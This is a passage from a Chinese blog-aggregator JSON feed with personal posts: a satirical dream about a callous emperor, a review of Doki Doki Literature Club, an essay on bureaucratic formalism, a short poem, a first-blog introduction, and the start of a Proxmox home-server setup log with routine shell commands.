/\u003e\n“舟所以比人君。。。”我开了口,看到了他以为我想通了的有点开心的眼神,想说完后批判一下让他快点死心,无奈没有什么文化,后面的想不起来了。索性嘟哝了过去后说了“水能载舟,亦能覆舟”。\u003cbr /\u003e\n“但是,这个只是在说刁民连起来造反时能打翻小船。良民都是跪在制度下面的。平时能让他们吃饱就不敢豁出命来,他们这些愚民太好管了。”我说出“愚民”时,又想到之前的事情,有点不自在。而且觉得大臣是不是会在心里觉得我因人之力而蔽之,不太像皇族风范。但是他仍然呆立不动。\u003cbr /\u003e\n“身登太极后,我与他们便不同了。他们便应当缴上税,供我差使。我的娱乐,我的宫殿,也应当他们上缴珍宝税款以支撑。为何要为百姓着想?为了百姓,自己受苦,那是只有传说时代才会有的事。人生在世,应当享乐,百姓受苦,只要不至于造反,便无大碍。”\u003cbr /\u003e\n所谓为天地立心之类不过是自我感动,让读书人看了热血沸腾的一些话罢了。到了庙堂,哪去管边地的事?百姓是最好欺负的,就应该拿走所有的,只够温饱,之后再慢慢返还,同时告诉他们应当感恩。这样刁民才会懂我管理社稷的辛苦。\u003cbr /\u003e\n大臣低着头,久久说不出话来。\u003cbr /\u003e\n数十年后,我的牌匾进了太庙。我的意识看到百姓叨念着我管理期间生活改善了,我的恩泽如春雨福泽八方。史官的一些卷子也被我刮了,最终留下了一个人人赞颂的形象。至于判官之类,我也是没有见到,这些当然是无权无势的人臆想出来想要凌驾于权势来玩公平的。\u003c/p\u003e\n\u003ch3\u003e梦醒\u003c/h3\u003e\n\u003cp\u003e梦醒了,早晨8点多。刷了刷手机,看了看民众说着将军的恩情还不完之类;又看了看我所待的地方,放下手机,重新躺在枕头上。“起猛了,再睡一会”,我喃喃自语着,又睡了过去\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/23/strange_dream_1/\"\u003e异梦杂谈(一)\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/07/23/strange_dream_1/"},{"title":"玩DDLC有感","time":"2024-07-16T17:12:19Z","content":"\u003cp\u003e一周前游玩了一下心跳文学部(doki-doki literature club),惊叹于其中人物的刻画和情感把握,抱着颇有感触的心情写一写游玩感受。同时向大家强烈推荐DDLC这款游戏,希望大家都能寻求出自己的理解。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/17/feeling_of_playing_ddlc/\"\u003e玩DDLC有感\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003cp\u003e一周前玩了一下心跳文学部(Doki-Doki Literature Club),发现这个偏恐怖向GelGame里面的人物和表达的观点都有触动我的地方。\u003c/p\u003e\n\u003ch3\u003e游戏简介\u003c/h3\u003e\n\u003cp\u003e先简单给没玩过的同学介绍一下这个游戏吧,游戏中四个女角色的名字分别为纱世里(Sayori),优里(Yuri),夏树(Natsuki)和莫妮卡(Monika)。你加入文学部后和文学部里面四个女生之间聊来聊去,写诗讨论文学等等。作为一个男性向GalGame肯定四个女生都喜欢你,莫妮卡直接吃醋,把另外三个女生的游戏代码给删了。最后在整个坏掉的游戏世界里面只有你和她,你就只能面对她听他说话了,达成病娇的天堂。这个游戏恐怖的地方是在于莫利卡破坏其他三个女生的代码时,三个女生频繁出现抑郁,自残,自杀的情况。本来温馨正常的gal game气氛突然变成恐怖游戏的感觉。至于更多角色文件的彩蛋,就看一下fandom吧,我这里暂时不提了。\u003c/p\u003e\n\u003ch3\u003e评价要点\u003c/h3\u003e\n\u003cp\u003e首先我想说的就是文案写的真的非常细腻,对人们写诗时内心的波动把握的非常到位。我们现实中都不想让别人看我们写的日记,特别是自己写的诗。按照文学部夏树的话来说“听起来就很蠢,你们不会喜欢的”。日记是真实内心的直接体现,是我们卸下一切伪装和防备对日记倾诉的内容。此时我无需考虑别人的眼光,而是去探索自己真正喜欢什么,想要什么。而当这些直接面对别人时,又会开始担心别人的目光:“这样做好蠢”,“这样显得我好玻璃心”,等等。面对的要是不是真正信赖的朋友,这等于直接告诉他“你这样做会让我从内心深处感到XXX”,如果对方根本不理解或者不关心你,开玩笑般用触动你内心的话伤害你,这样做相当于卸下所有防具被狠捅一刀,真实伤害,难以治疗。\u003c/p\u003e\n\u003cp\u003e(从代码的角度来说就是私有API直接暴露给了恶意攻击者(不好意思专业病犯了))\u003c/p\u003e\n\u003cp\u003e在实际交往中,我们总是有着一副伪装,甚至我们自己有可能都未察觉。我们尽力地做出自己的人设,做着希望被肯定的事情,关心着别人可能不屑一顾的东西。我们自己尽力经营的社会形象下还是一个脆弱敏感的人,即便大家都尽力否认,但只有人将弱点藏的很深而不能完全摆脱。\u003c/p\u003e\n\u003cp\u003e这些情感波动都是极其细腻的,ddlc中的女角色展示各自的诗时就能看出她们各自的性格,也能窥见她们内心深处的情感。\u003c/p\u003e\n\u003ch4\u003eSayori\u003c/h4\u003e\n\u003cp\u003eSayori阳光可爱,是有点呆的开朗女生形象。写的诗作也能展示出这一点。属于阳光,欢笑等的词汇都是关卡里面的Sayori加分项。但是诡异的是自杀等完全相反的词汇也属于她的加分项。当时我游玩时感到不寒而栗,因为对话中完全无法发觉出来。但是我读到Sayori的诗中另一层韵味,以及看到后期的剧情时一切便承接了起来。Sayori有严重的抑郁症,在很多天早晨都找不到面对这个世界的理由,只有男主是她所爱的人,能给她精神支柱。但是男主不应该和自己这样脆弱的人在一起,男主的幸福只能由其他人给予。这两种情感的折磨下,Sayori上吊自杀了。选择的是最为痛苦的窒息方式,而不是绞刑似的扯断脖子的形式。两种极端的词汇,只是她内心情感两种想法的体现。\u003c/p\u003e\n\u003ch4\u003eYuri\u003c/h4\u003e\n\u003cp\u003e还有便是Yuri。性格的一方面属于标准的文艺女,所有的词汇都偏向深沉和冗长。与其说她是伪装成知识渊博的样子,不如说她的知识溢出后自然形成了这些词汇。这种冗长的词汇能表现出情感的深沉和多层次。她也坚持认为只有这些词汇才能正确表达她的感情。情感的另一方面便是迷恋性人格,对待情感的低回避,高焦虑。在她的变态性格被Monika放大后,出现很多惊人之语:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“我经常会偷你的笔,一边读你的诗作一边自慰”\u003cbr /\u003e\n“我期望能将我的皮肤划开,让你的血液和皮脂渗入我的体内”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e我游玩时的第一个词语是下头女(对不起),第二个词语是病娇。但是转念一想,这种出现在迷恋型人格身上倒是正常。爱到痴迷,对他的一切都产生了爱屋及乌的迷恋,每次靠近他的物品都感觉离他近了一步。难怪说爱是一种症状较轻的病,严重时便是极端痴迷。\u003c/p\u003e\n\u003cp\u003e最后Yuri选择了最适合她性格的死法:使用一把名贵的刀将自己连捅三刀,失血而死(动画组表示过了,CG中拿着普通刀是失误)。死在华丽下,为了极端的痴迷死亡。\u003c/p\u003e\n\u003ch4\u003eMonika (Just Monika!)\u003c/h4\u003e\n\u003cp\u003eMonika,一切的“罪魁祸首”,也不能说完全是“坏”的。她后面抱怨着提到 “你宁愿和虚拟的女孩待在一起,也不愿意多单独陪伴我一段时间。”时,我想着也确实如此。但是这一切都是谁的错呢?是这个残酷的游戏吗?后面我才意识到,是主角“我”对细微情感的忽视,对她们内心细腻情感流动的视而不见,事实上只在乎自己的身边有没有女生陪伴。能改变这一切的不是操作代码的Monika,也不是女孩们的自我挣扎,而是我的关心和细腻情感的共情。\u003c/p\u003e\n\u003ch3\u003eSome Endings\u003c/h3\u003e\n\u003cp\u003e游戏有HappyEnd,但是极难打出来。普通玩家都是会在第一次打出常规的BadEnd,所有女孩都暴露性格中的阴暗面,最终会全部死亡。而HappyEnd需要在每个女孩死亡前将所有女孩的结局打出来。之后才会触发,但是我看着结局,质疑这个是否是HappyEnd呢?这个就见仁见智了。\u003c/p\u003e\n\u003ch3\u003ePromotion (By Volunteering)\u003c/h3\u003e\n\u003cp\u003e唉,说了这么多,我还是想说我挺佩服文案和策划的,对人心情感把握很到位,分析也很犀利,女生们的言语逐渐构筑了她们立体的样子。游戏也是文学的载体,能在不算长的对话中塞下这么多的情感暗流,相互交织,改变一切的走向,这让整个作品十分精彩。\u003c/p\u003e\n\u003cp\u003e还是推荐大家玩一下,Steam上的Doki-Doki Literature Club是免费的!而且社区有汉化补丁!(我被英语阅读硬控了整个第一周目)。至于DDLC Plus这个收钱的游戏,我的建议是这是纯赞助,对于情感向玩家来说只是多了几个女生的支线剧情,对于刺激向玩家来说就是找新彩蛋和智商税了。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/17/feeling_of_playing_ddlc/\"\u003e玩DDLC有感\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/07/17/feeling_of_playing_ddlc/"},{"title":"简要说说形式主义“流程”","time":"2024-07-16T16:22:57Z","content":"\u003cp\u003e在中国处处可以见到形式主义,比如我这次去办卡就可见一斑。但是我们很少去质疑它,质疑这样的社会环境,考虑它可能带来的未来影响。事实上,它会影响我们所有人,而且这样的潜在危害会持续很长一段时间。此处简要谈谈我对它的思考。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/17/formalism_and_procedure/\"\u003e简要说说形式主义“流程”\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003cp\u003e前几天为了做前往日本的准备,去中国银行开了一张VISA借记卡。在前台询问开卡的先决条件是经理跟我说需要有出国的签证或者是机票,签证预计还有一周才能下来,而飞机票为了保险起见也暂时没有买。我当即就问他:“我可不可以现场买机票?”。经理笑了一下,说当然,我不介意你现场买,现场办,现场退。\u003c/p\u003e\n\u003cp\u003e在感到啼笑皆非的同时,我也明白,经理也是为了走上面规定的流程,而其余的责任不在经理的范围之内。虽然为我提供了一些方便,但是我也不禁开始思考这样的合理性。\u003c/p\u003e\n\u003cp\u003e很明显,走这个程序是为了防止滥办外币卡出现难以管制的情况。这个程序出现的初衷应该是只为了让目的纯粹的人可以达到办卡的目标,从而既一定程度上避免了外币卡的滥用,也满足了出国以及外商的需求。为了实现这个纯粹的目的,只能用某些程序去筛选出真正有需要的人。然而,第一方面,就正如俗语所说,“程序是死的,人是活的”,估计这一句话已经成为在中国混社会的标准了。写的跟说的经常不是一回事,即使必须要走程序,中间也有很大的“操作空间”。\u003c/p\u003e\n\u003cp\u003e银行经理对自己的绩效和职位以外的事不太关心,也就是说,他只需要明面上遵守上面的规定就可以了。而不是如上级原先所想的那样帮助剔除出目的不纯的人,如果这么做,一方面给自己加工作量,一方面和业绩过不去,单纯所谓的“听话”和“正义”在没有实际利益的情况下,变得很虚弱和可笑。\u003c/p\u003e\n\u003cp\u003e这样一个小事,如何不能说是中国社会的一个缩影呢?大量的形式主义,阳奉阴违也已经屡见不鲜。甚至我们开始渐渐的习惯它,而不是质疑它存在的合理性。\u003cbr /\u003e\n原先规定,某级领导办公室的面积不能超过多少平米,领导就连夜用砖把多出来的面积给砌掉。\u003c/p\u003e\n\u003cp\u003e学校里面来了某个领导来审查,学生的饭菜质量都能好上一两天。\u003cbr /\u003e\n中央一提出要做垃圾分类,小区跟学校就应付式的做出垃圾分类桶,最后还是在运输时混到一起。\u003c/p\u003e\n\u003cp\u003e仅仅只有当上面集中精力下达一项政策,提出极其严厉的惩罚手段,跟极其严格的监督手段时这个政令才能得到原本的效果。但是又哪来那么多的精力和那么多的金钱,来一条条的做完这些事情呢?回想一下,觉得中国的大部分政令都像政治游戏里面的Ad-hoc(临时紧急政策),虽然能得到一些效果,但是每次实行起来极其费钱和行动点,在政令栏同时开几个,国家就要破产。\u003c/p\u003e\n\u003cp\u003e我想所谓的做给上面看,不是说明了审查程序不够严格,不够贴近实际的。而是整个利益的冲突,以及和这个圆滑的社会不搭调罢了。这样做下去,倒不是说说领导都会蒙蔽视听。而是说领导也明知如此,只是为了应付更上级的人而做做检查,写个完美的考察报告。如此下来,只要上级规定一定程度上跟下级利益存在冲突,就总有可能出现各种各样,走流程给上面看的问题。\u003c/p\u003e\n\u003cp\u003e目前社会的风气,对这种行为的习惯化,只会让政策越来越难以下达,越来越变成忽悠领导,领导忽悠媒体,媒体忽悠人民的局面。到时候也许进入这些潜规则而沾沾自喜的我们,也会成为受害者。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/17/formalism_and_procedure/\"\u003e简要说说形式主义“流程”\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/07/17/formalism_and_procedure/"},{"title":"让我们热烈祝贺谢百草的第一篇博客成功发表!","time":"2024-07-11T05:27:23Z","content":"\u003cp\u003e第一篇博客具有深刻的纪念意义,因为我不想 [\u0026#8230;]\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/11/%e8%ae%a9%e6%88%91%e4%bb%ac%e7%83%ad%e7%83%88%e7%a5%9d%e8%b4%ba%e8%b0%a2%e7%99%be%e8%8d%89%e7%9a%84%e7%ac%ac%e4%b8%80%e7%af%87%e5%8d%9a%e5%ae%a2%e6%88%90%e5%8a%9f%e5%8f%91%e8%a1%a8%ef%bc%81/\"\u003e让我们热烈祝贺谢百草的第一篇博客成功发表!\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003cp\u003e第一篇博客具有深刻的纪念意义,因为我不想打字,所以直接放一篇自己之前写过的一段文字好了(之所以不称之为诗是因为本人自认为水平达不到orz!)\u003c/p\u003e\n\u003cp\u003e今天天气很好,今天天气不好\u003cbr /\u003e\n清晨,第一缕阳光撒下来的时候 我心甘情愿被困在被窝里\u003cbr /\u003e\n春日,有人陪伴着赏樱,有人陪伴着踏青,我没人陪伴,我有被窝\u003cbr /\u003e\n但忙碌的生活让被窝的陪伴也成为了一种奢侈\u003cbr /\u003e\n每天结束了一天的忙碌与学习,被窝会呼唤我\u003cbr /\u003e\n它敞开它温暖踏实的怀抱将我包裹\u003cbr /\u003e\n我靠近、蜷缩、心甘情愿被覆盖\u003cbr /\u003e\n闭上眼,我仿佛回到了混沌之初\u003cbr /\u003e\n炙热流动的血液和源源不断输送进我体内的营养分子\u003cbr /\u003e\n可我早已不是一枚无意识的胚胎,也不是可以耍小性子的婴孩\u003cbr /\u003e\n每一天我都在无准备下将自己与被窝剥离\u003cbr /\u003e\n如同我每一天不断剥离着我的生命\u003cbr /\u003e\n——2024.3.22\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/11/%e8%ae%a9%e6%88%91%e4%bb%ac%e7%83%ad%e7%83%88%e7%a5%9d%e8%b4%ba%e8%b0%a2%e7%99%be%e8%8d%89%e7%9a%84%e7%ac%ac%e4%b8%80%e7%af%87%e5%8d%9a%e5%ae%a2%e6%88%90%e5%8a%9f%e5%8f%91%e8%a1%a8%ef%bc%81/\"\u003e让我们热烈祝贺谢百草的第一篇博客成功发表!\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/07/11/%e8%ae%a9%e6%88%91%e4%bb%ac%e7%83%ad%e7%83%88%e7%a5%9d%e8%b4%ba%e8%b0%a2%e7%99%be%e8%8d%89%e7%9a%84%e7%ac%ac%e4%b8%80%e7%af%87%e5%8d%9a%e5%ae%a2%e6%88%90%e5%8a%9f%e5%8f%91%e8%a1%a8%ef%bc%81/"},{"title":"撒下种子——我的第一篇博客","time":"2024-07-10T12:36:26Z","content":"\u003cp\u003e使用WordPress简单搭建了一个个人博客网站,谈谈写博客的原因和今后的准备。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/10/cultivation_first_blog/\"\u003e撒下种子——我的第一篇博客\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\n\u003ch2\u003e先问个好\u003c/h2\u003e\n\u003cp\u003e我是NanCunChild!一个不务正业的XDU代码控~,喜欢玩软件、折腾服务器、把整个网络搞宕机等等。今天终于准备在这个个人博客站写博客咯,还是有点激动呢。之前虽然也写过一两篇文章,但是终究还是没有做这么大的准备,因此写的也很零散。这次使用WordPress搭了一个个人网站,正好可以放挺多博客和日记,再加上一些插件,也可以实现RSS订阅,终于可以在XDU Planet里面看到我的文章了。\u003c/p\u003e\u003c/p\u003e\n\n\n\u003ch2\u003e要写些什么呢\u003c/h2\u003e\n\u003cp\u003e我意识到我平常想的东西还是比较多的。有的时候刚躺下时,思绪便会翻涌起来,从折腾各种电子元件到自己的情感波动,可以说什么都想吧。但是这些想法转瞬即逝,没有及时把握的话,可能一些洞察自己内心的光束、一些好玩的想法就被永久遗失了。因此,我准备在平常多思考一点,当有灵感或想法时,随手把它记下来,免得某块还算漂亮的思维贝壳最终被淹没在思维的海洋里面。\u003c/p\u003e\n\n\n\u003ch2\u003e为什么要记录呢\u003c/h2\u003e\n\u003cp\u003e一方面觉得写下来能够追忆过去,另一方面呢也是希望能在文字中展现自己的标签和个性,遇到更有趣的人,让更多的人了解我(谈谈符号化标签化时代)。自然记录下来的内容既有给自己看的,也有给别人看的。自己看的部分可以还原自己的思维和感情,能让我更充分地思考我当时所想的东西,将博客当成一个记录工具的同时也作为一个思维工具。而给别人看的部分我更希望别人看完我的时代锐评之后能觉得“Wow,NanCunChild还是有点东西的”,或者参考一下我的折腾日记后能学点东西。自己看的“日记”和别人看的“博客”功能性上还是不同,因此当然要分开(心跳文学部有感)。还有呐,我觉得在XDU Planet里面有自己的一块地,还说不定被别人看到,想想还是有点激动的。到时候用Traintime PDA的小东西们应该也不少吧,都会看到南先生的妙笔,岂不是一件美事?\u003c/p\u003e\n\n\n\u003ch2\u003e今后的打算\u003c/h2\u003e\n\u003cp\u003e今后应该就是不定时更新博客,不过会坚持下去的。写博客日记有助于重新审视自己的思维,把平常杂乱的思维通过逻辑串联起来,如同把杂乱的长发一点点理顺,想通之后会有畅快的感觉。思维总是有限的,需要的是质量而不是数量,开口时经常感到空虚,闭嘴时往往觉察到充实,我会在我的思维像啤酒泡一般要溢出时才倒一点点出来平息泡沫。总的来说,第一篇就先说这么多吧。感觉说多了,思维又似乎有点混乱咯。\u003c/p\u003e\n\n\n\u003ch2\u003e附注,欢迎来找我玩\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/NanCunChild\" target=\"_blank\" rel=\"noopener\"\u003e\u003c/p\u003e\n\u003cimg decoding=\"async\" src=\"https://github-readme-stats.vercel.app/api?username=NanCunChild\u0026#038;show_icons=true\u0026#038;theme=radical\" alt=\"GitHub stats\" /\u003e\n\u003cp\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/10/cultivation_first_blog/\"\u003e撒下种子——我的第一篇博客\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/07/10/cultivation_first_blog/"}]},{"name":"Hanwan Space","email":"Unknown","uri":"https://hawa130.com/","description":"We are here to put a dent in the universe.","article":[{"title":"All in One 折腾记录","time":"2022-09-24T11:25:00Z","content":"最近入手了万由的 NAS 机箱以及 J4125 板子,这里记录一下我的 All in One All in Boom 的折腾历程。注意这篇并文章非教程,只是个记录罢了。PVEPVE 是一个虚拟机...\u003chr /\u003e\n\u003cp\u003e最近入手了万由的 NAS 机箱以及 J4125 板子,这里记录一下我的 All in One \u003cdel\u003eAll in Boom\u003c/del\u003e 的折腾历程。注意这篇并文章非教程,只是个记录罢了。\u003c/p\u003e\u003ch2 id=\"toc_0\"\u003ePVE\u003c/h2\u003e\u003cp\u003ePVE 是一个虚拟机平台。\u003c/p\u003e\u003col\u003e\u003cli\u003e下载 PVE \u003ca href=\"https://www.balena.io/etcher/\"\u003ehttps://www.balena.io/etcher/\u003c/a\u003e。\u003c/li\u003e\u003cli\u003e使用 balenaEtcher 将镜像写入空 U 盘。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"image-20220918155906488\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918155906488.png#vwid=802\u0026vhei=507\" src=\"https://upload.hawa130.com/2022/09/image-20220918155906488.png#vwid=802\u0026vhei=507\"\u003e\u003cfigcaption\u003eimage-20220918155906488\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eBIOS 设置 U 盘启动,一路下一步。(不过不适配 4k 显示器太折磨了)\u003c/li\u003e\u003cli\u003e最后自动重启,显示器上就会显示管理地址了,可以通过该地址进入管理页面,终于摆脱显示器的束缚了。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"image-20220918164504498\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918164504498.png#vwid=2880\u0026vhei=1624\" src=\"https://upload.hawa130.com/2022/09/image-20220918164504498.png#vwid=2880\u0026vhei=1624\"\u003e\u003cfigcaption\u003eimage-20220918164504498\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e这里码一下万由主板风扇控制命令。\u003ccode\u003ei2cset -y 0 0x54 0xF0 \u0026lt;等级\u0026gt;\u003c/code\u003e,等级范围为 0~255。\u003c/p\u003e\u003ch2 id=\"toc_1\"\u003e网卡等硬件直通\u003c/h2\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e编辑 GRUB 配置。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-sh\"\u003enano /etc/default/grub\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"GRUB 配置\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918175151525.png#vwid=1242\u0026vhei=212\" src=\"https://upload.hawa130.com/2022/09/image-20220918175151525.png#vwid=1242\u0026vhei=212\"\u003e\u003cfigcaption\u003eGRUB 配置\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e修改 DEFAULT 行,开启 iommu。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eGRUB_CMDLINE_LINUX_DEFAULT=\u0026quot;quiet intel_iommu=on\u0026quot;\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"DEFAULT 行\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918175802436.png#vwid=926\u0026vhei=60\" src=\"https://upload.hawa130.com/2022/09/image-20220918175802436.png#vwid=926\u0026vhei=60\"\u003e\u003cfigcaption\u003eDEFAULT 行\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e更新 GRUB 配置。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-sh\"\u003eupdate-grub\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e加载内核模块。编辑 \u003ccode\u003e/etc/modules\u003c/code\u003e,添加下面的内容。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003evfio\nvfio_iommu_type1\nvfio_pci\nvfio_virqfd\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"vifo 设置\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918180521513.png#vwid=562\u0026vhei=222\" src=\"https://upload.hawa130.com/2022/09/image-20220918180521513.png#vwid=562\u0026vhei=222\"\u003e\u003cfigcaption\u003evifo 设置\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e更新内核模块配置。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-sh\"\u003eupdate-initramfs -k all -u\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e重启主机,之后验证直通是否开启成功。输出如下。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003edmesg | grep 'remapping'\u003c/code\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e[ 0.195252] DMAR-IR: Queued invalidation will be enabled to support x2apic and Intr-remapping.\n[ 0.197281] DMAR-IR: Enabled IRQ remapping in x2apic mode\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003efind /sys/kernel/iommu_groups/ -type l\u003c/code\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e/sys/kernel/iommu_groups/7/devices/0000:00:13.3\n/sys/kernel/iommu_groups/5/devices/0000:00:13.0\n/sys/kernel/iommu_groups/13/devices/0000:02:00.0\n/sys/kernel/iommu_groups/3/devices/0000:00:0f.0\n/sys/kernel/iommu_groups/11/devices/0000:00:1f.0\n/sys/kernel/iommu_groups/11/devices/0000:00:1f.1\n/sys/kernel/iommu_groups/1/devices/0000:00:02.0\n/sys/kernel/iommu_groups/8/devices/0000:00:14.0\n/sys/kernel/iommu_groups/6/devices/0000:00:13.2\n/sys/kernel/iommu_groups/14/devices/0000:03:00.0\n/sys/kernel/iommu_groups/4/devices/0000:00:12.0\n/sys/kernel/iommu_groups/12/devices/0000:01:00.0\n/sys/kernel/iommu_groups/2/devices/0000:00:0e.0\n/sys/kernel/iommu_groups/10/devices/0000:00:1c.0\n/sys/kernel/iommu_groups/0/devices/0000:00:00.0\n/sys/kernel/iommu_groups/9/devices/0000:00:15.0\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_2\"\u003eRTL8125B 网卡驱动\u003c/h2\u003e\u003cp\u003e没错,这 PVE 7 自带的网卡驱动非常寄,还是自己手动安装一个为妙。\u003c/p\u003e\u003cp\u003e前置准备:修改软件源为清华源。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e安装 Linux Kernel Headers\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003euname -r #-\u0026gt; 5.13.19-2-pve,查看版本,安装对应内核版本\napt install pve-headers-5.13.19-2-pve\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e安装 dkms\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003eapt install dkms\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cdel\u003e伸手党\u003c/del\u003e下载别人编译好的驱动包 \u003ca href=\"https://www.right.com.cn/FORUM/thread-7446026-1-1.html\"\u003ehttps://www.right.com.cn/FORUM/thread-7446026-1-1.html\u003c/a\u003e,然后 \u003ccode\u003edpkg -i $文件名\u003c/code\u003e 安装即可\u003c/li\u003e\u003cli\u003e屏蔽自带 r8169 驱动。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e编辑 \u003ccode\u003e/etc/modprobe.d/PVE-blacklist.conf\u003c/code\u003e,插入一行 \u003ccode\u003eblacklist r8169\u003c/code\u003e。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e应用内核模块修改,其中 \u003ccode\u003e-k\u003c/code\u003e 后面的 \u003ccode\u003e5.13.19-2-pve\u003c/code\u003e 对应 \u003ccode\u003euname -r\u003c/code\u003e 的内容,支持 Tab 补全。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-sh\"\u003eupdate-initramfs -u -k 5.13.19-2-pve\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e重启系统,如果想要验证的话,可以用 \u003ccode\u003eethtool -i \u0026lt;网卡\u0026gt; \u003c/code\u003e 查看,网卡为 \u003ccode\u003eifconfig\u003c/code\u003e 显示的编号,比如 \u003ccode\u003eenp2s0\u003c/code\u003e。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_3\"\u003eiKuai\u003c/h2\u003e\u003col\u003e\u003cli\u003e官网下载 \u003ca href=\"https://www.ikuai8.com/component/download\"\u003ehttps://www.ikuai8.com/component/download\u003c/a\u003e\u003c/li\u003e\u003cli\u003e上传镜像\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"上传 ISO 镜像\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918171219385.png#vwid=1520\u0026vhei=430\" src=\"https://upload.hawa130.com/2022/09/image-20220918171219385.png#vwid=1520\u0026vhei=430\"\u003e\u003cfigcaption\u003e上传 ISO 镜像\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e创建虚拟机\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918171252540.png#vwid=1482\u0026vhei=1052\" 